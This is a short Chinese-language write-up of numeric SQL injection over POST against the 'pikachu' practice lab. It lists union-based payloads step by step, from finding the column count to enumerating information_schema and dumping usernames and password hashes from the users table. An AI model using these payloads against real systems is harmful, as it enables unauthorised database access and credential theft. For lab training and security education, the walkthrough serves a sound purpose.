一、数字型注入(post)
1、确认是否有注入点
抓包改为1=1:
而改成1=2,则
因此存在注入点,并判断是数字型注入(题目也说明了),不需要闭合符
2、找列
id=1 order by 1
直到order by 3,出错:Unknown column '3' in 'order clause'
因此,确定为两列
3、判断每列显示的位置
4、查询数据库名和数据库版本
id=-2 union select database(),version()
版本5.7.26(mysql5.0以上版本自带information_schema表 )
5、查询所有表
id=-2 union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'
6、查询敏感表users表中所有列
id=-2 union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'
7、查询用户名和密码
id=-2 union select group_concat(username),group_concat(password) from users
8、将查到的密码解密
如,admin对应123456
则成功注入,获得用户名和密码。